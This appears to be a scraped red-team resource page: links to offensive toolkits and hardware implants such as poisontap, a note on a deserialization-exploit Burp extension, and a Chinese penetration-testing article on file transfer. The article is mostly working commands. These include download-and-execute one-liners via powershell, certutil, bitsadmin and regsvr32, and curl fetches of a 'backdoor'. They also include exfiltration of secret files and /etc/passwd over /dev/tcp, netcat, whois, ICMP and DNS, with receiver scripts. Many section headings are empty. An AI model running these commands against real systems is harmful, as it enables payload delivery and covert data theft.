Redteam Toolkit

https://github.com/yeyintminthuhtut/Awesome-Red-Teaming
https://github.com/bluscreenofjeff/Red-Team-Infrastructure-Wiki
https://github.com/infosecn1nja/Red-Teaming-Toolkit
https://github.com/redcanaryco/atomic-red-team
https://github.com/vysecurity/RedTips
https://github.com/threatexpress/red-team-scripts
https://github.com/KCarretto/Arsenal
https://github.com/marcosValle/awesome-windows-red-team
https://github.com/abhijithbr/Red-team-Learning-resources
https://github.com/rosonsec/RedTeam

Active Intelligence Gathering

Passive Intelligence Gathering

Frameworks

Weaponization

Delivery

Phishing

Watering Hole Attack

Command and Control

Remote Access Tools

Staging

Lateral Movement

Establish Foothold

Escalate Privileges

Domain Escalation

Local Escalation

Data Exfiltration

Misc

Wireless Networks

Embedded & Peripheral Devices Hacking

  • magspoof a portable device that can spoof/emulate any magnetic stripe, credit card or hotel card “wirelessly”, even on standard magstripe (non-NFC/RFID) readers. https://github.com/samyk/magspoof
  • WarBerryPi was built to be used as a hardware implant during red teaming scenarios where we want to obtain as much information as possible in a short period of time with being as stealth as possible. https://github.com/secgroundzero/warberry
  • P4wnP1 is a highly customizable USB attack platform, based on a low cost Raspberry Pi Zero or Raspberry Pi Zero W (required for HID backdoor). https://github.com/mame82/P4wnP1
  • malusb HID spoofing multi-OS payload for Teensy. https://github.com/ebursztein/malusb
  • Fenrir is a tool designed to be used “out-of-the-box” for penetration tests and offensive engagements. Its main feature and purpose is to bypass wired 802.1x protection and to give you an access to the target network. https://github.com/Orange-Cyberdefense/fenrir-ocd
  • poisontap exploits locked/password protected computers over USB, drops persistent WebSocket-based backdoor, exposes internal router, and siphons cookies using Raspberry Pi Zero & Node.js. https://github.com/samyk/poisontap
  • WHID WiFi HID Injector – An USB Rubberducky / BadUSB On Steroids. https://github.com/whid-injector/WHID

Software For Team Communication

  • RocketChat is free, unlimited and open source. Replace email & Slack with the ultimate team chat software solution. https://rocket.chat
  • Etherpad is an open source, web-based collaborative real-time editor, allowing authors to simultaneously edit a text document https://etherpad.net

Log Aggregation

C# Offensive Framework

Labs

Scripts

References

From: https://github.com/shr3ddersec/Shr3dKit

Freddy the Serial(isation) Killer – Deserialization Bug Finder

A Burp Suite extension to aid in detecting and exploiting serialisation libraries/APIs.

This useful extension was originally developed by Nick Bloor (@nickstadb) for NCC Group and is mainly based on the work of Alvaro Muñoz and Oleksandr Mirosh, Friday the 13th: JSON Attacks, which they presented at Black Hat USA 2017 and DEF CON 25. In their work they reviewed a range of JSON and XML serialisation libraries for Java and .NET and found that many of them support serialisation of arbitrary runtime objects and as a result are vulnerable in the same way as many serialisation technologies are – snippets of code (POP gadgets) that execute during or soon after deserialisation can be controlled using the properties of the serialized objects, often opening up the potential for arbitrary code or command execution.

Further modules supporting more formats including YAML and AMF are also included, based on the paper Java Unmarshaller Security – Turning your data into code execution and tool marshalsec by Moritz Bechler.

This Burp Suite extension implements both passive and active scanning to identify and exploit vulnerable libraries.

https://github.com/nccgroup/freddy

渗透测试中的文件传输技巧

文章来源:https://paper.seebug.org/834/

搭建 HTTP server

Python

python2:

python -m SimpleHTTPServer 1337

以上命令会在当前目录启动 HTTP 服务,端口为 1337

python3:

python -m http.server 1337

以上命令会在当前目录启动 HTTP 服务,端口为 1337

PHP 5.4+

当 PHP 版本大于 5.4 是,可使用 PHP 在当前目录启动 HTTP 服务,端口为 1337

php -S 0.0.0.0:1337

Ruby

下面的命令会在当前目录下启动 HTTP 服务,端口为 1337

ruby -rwebrick -e'WEBrick::HTTPServer.new(:Port => 1337, :DocumentRoot => Dir.pwd).start'

Ruby 1.9.2+

ruby -run -e httpd . -p 1337

Perl

perl -MHTTP::Server::Brick -e '$s=HTTP::Server::Brick->new(port=>1337); $s->mount("/"=>{path=>"."}); $s->start'
perl -MIO::All -e 'io(":8080")->fork->accept->(sub { $_[0] < io(-x $1 +? "./$1 |" : $1) if /^GET \/(.*) / })'

Thanks to: http://stackoverflow.com/questions/8058793/single-line-python-webserver

busybox httpd

busybox httpd -f -p 8000

Download files from HTTP server

以下列出了在 Windows 和 Linux 系统下使用系统自带工具从 HTTP Server 下载文件的几种方法

Windows

powershell

下载并执行:

powershell (new-object System.Net.WebClient).DownloadFile('http://1.2.3.4/5.exe','c:\download\a.exe');start-process 'c:\download\a.exe'

certutil

下载并执行:

certutil -urlcache -split -f http://1.2.3.4/5.exe c:\download\a.exe&&c:\download\a.exe

bitsadmin

下载并执行:

bitsadmin /transfer n http://1.2.3.4/5.exe c:\download\a.exe && c:\download\a.exe

bitsadmin 的下载速度比较慢

regsvr32

regsvr32 /u /s /i:http://1.2.3.4/5.exe scrobj.dll

Linux

Curl

curl http://1.2.3.4/backdoor

Wget

wget http://1.2.3.4/backdoor

awk

在使用 awk 进行下载文件时,首先使用以上列出的任意一条命令启动一个 HTTP Server

awk 'BEGIN {
  RS = ORS = "\r\n"
  HTTPCon = "/inet/tcp/0/127.0.0.1/1337"
  print "GET /secret.txt HTTP/1.1\r\nConnection: close\r\n"    |& HTTPCon
  while (HTTPCon |& getline > 0)
      print $0
  close(HTTPCon)
}'

Setup HTTP PUT server

以下列出了上传文件到 HTTP Server 的几种方法

使用 Nginx 搭建 HTTP PUT Server

mkdir -p /var/www/upload/ # 创建目录 
chown www-data:www-data /var/www/upload/ # 修改目录所属用户和组
cd /etc/nginx/sites-available # 进入 nginx 虚拟主机目录

# 写入配置到 file_upload 文件
cat <<EOF > file_upload
server {
    listen 8001 default_server;
    server_name kali;
        location / {
        root /var/www/upload;
        dav_methods PUT;
    }
}
EOF
# 写入完毕
cd ../sites-enable # 进入 nginx 虚拟主机启动目录
ln -s /etc/nginx/sites-available/file_upload file_upload # 启用 file_upload 虚拟主机
systemctl start nginx # 启动 Nginx

使用 Python 搭建 HTTP PUT Server

以下代码保存到 HTTPutServer.py 文件里:

# ref: https://www.snip2code.com/Snippet/905666/Python-HTTP-PUT-test-server
import sys
import signal
from threading import Thread
from BaseHTTPServer import HTTPServer, BaseHTTPRequestHandler



class PUTHandler(BaseHTTPRequestHandler):
    def do_PUT(self):
        length = int(self.headers['Content-Length'])
        content = self.rfile.read(length)
        self.send_response(200)
        with open(self.path[1:], "w") as f:
            f.write(content)


def run_on(port):
    print("Starting a HTTP PUT Server on {0} port {1} (http://{0}:{1}) ...".format(sys.argv[1], port))
    server_address = (sys.argv[1], port)
    httpd = HTTPServer(server_address, PUTHandler)
    httpd.serve_forever()


if __name__ == "__main__":
    if len(sys.argv) < 3:
        print("Usage:\n\tpython {0} ip 1337".format(sys.argv[0]))
        sys.exit(1)
    ports = [int(arg) for arg in sys.argv[2:]]
    try:
        for port_number in ports:
            server = Thread(target=run_on, args=[port_number])
            server.daemon = True # Do not make us wait for you to exit
        server.start()
        signal.pause() # Wait for interrupt signal, e.g. KeyboardInterrupt
    except KeyboardInterrupt:
        print "\nPython HTTP PUT Server Stoped."
        sys.exit(1)

运行方法:

$ python HTTPutServer.py 10.10.10.100 1337
Starting a HTTP PUT Server on 10.10.10.100 port 1337 (http://10.10.10.100:1337) ...

上传文件到 HTTP PUT server

Linux

Curl

$ curl --upload-file secret.txt http://ip:port/

Wget

$ wget --method=PUT --post-file=secret.txt http://ip:port/

Windows

Powershell

$body = Get-Content secret.txt
Invoke-RestMethod -Uri http://ip:port/secret.txt -Method PUT -Body $body

使用 Bash /dev/tcp 进行文件传输

首先需要监听端口

文件接收端:

nc -lvnp 1337 > secret.txt 

文件发送端:

cat secret.txt > /dev/tcp/ip/port

使用 SMB 协议进行文件传输

搭建简易 SMB Server

搭建简易SMB Server 需要用到 Impacket 项目的 smbserver.py 文件

Impacket 已默认安装在 Kali Linux 系统中

syntax: impacker-smbserver ShareName SharePath

$ mkdir smb # 创建 smb 目录
$ cd smb # 进入 smb目录
$ impacket-smbserver share `pwd` # 在当前目录启动 SMB server,共享名称为 share

从 SMB server 下载文件

copy \\IP\ShareName\file.exe file.exe

上传文件到 SMB server

net use x: \\IP\ShareName

copy file.txt x:

net use x: /delete

使用 whois 命令进行文件传输

接收端 Host B:

nc -vlnp 1337 | sed "s/ //g" | base64 -d 

发送端 Host A:

whois -h 127.0.0.1 -p 1337 `cat /etc/passwd | base64` 

使用 ping 命令进行文件传输

发送端:

xxd -p -c 4 secret.txt | while read line; do ping -c 1 -p $line ip; done

接收端:

以下代码保存到 ping_receiver.py

import sys

try:
    from scapy.all import *
except:
    print("Scapy not found, please install scapy: pip install scapy")
    sys.exit(0)


def process_packet(pkt):
    if pkt.haslayer(ICMP):
        if pkt[ICMP].type == 8:
            data = pkt[ICMP].load[-4:]
            print(f'{data.decode("utf-8")}', flush=True, end="", sep="")

sniff(iface="eth0", prn=process_packet)

执行方法:

python3 ping_receiver.py

使用 dig 命令进行文件传输

/etc/passwdSenderReciver

发送端:

xxd -p -c 31 /etc/passwd | while read line; do dig @172.16.1.100 +short +tries=1 +time=1 $line.gooogle.com; done

接收端:

以下代码使用了 python 的 scapy 模块,需要手动安装

代码保存到 dns_reciver.py 文件中

try:
    from scapy.all import *
except:
    print("Scapy not found, please install scapy: pip install scapy")

def process_packet(pkt):
    if pkt.haslayer(DNS):
        domain = pkt[DNS][DNSQR].qname.decode('utf-8')
        root_domain = domain.split('.')[1]
        if root_domain.startswith('gooogle'):
            print(f'{bytearray.fromhex(domain[:-13]).decode("utf-8")}', flush=True, end='')

sniff(iface="eth0", prn=process_packet)

运行方法:

python3 dns_reciver.py

使用 NetCat 进行文件传输

1.txtA:10.10.10.100B:10.10.10.200

接受端:

nc -l -p 1337 > 1.txt

发送端:

cat 1.txt | nc -l -p 1337

或者

nc 10.10.10.200 1337 < 1.txt

在极端环境下,如果接受端没有 nc 可以使用 Bash 的 /dev/tcp 接收文件:

cat < /dev/tcp/10.10.10.200/1337 > 1.txt

参考链接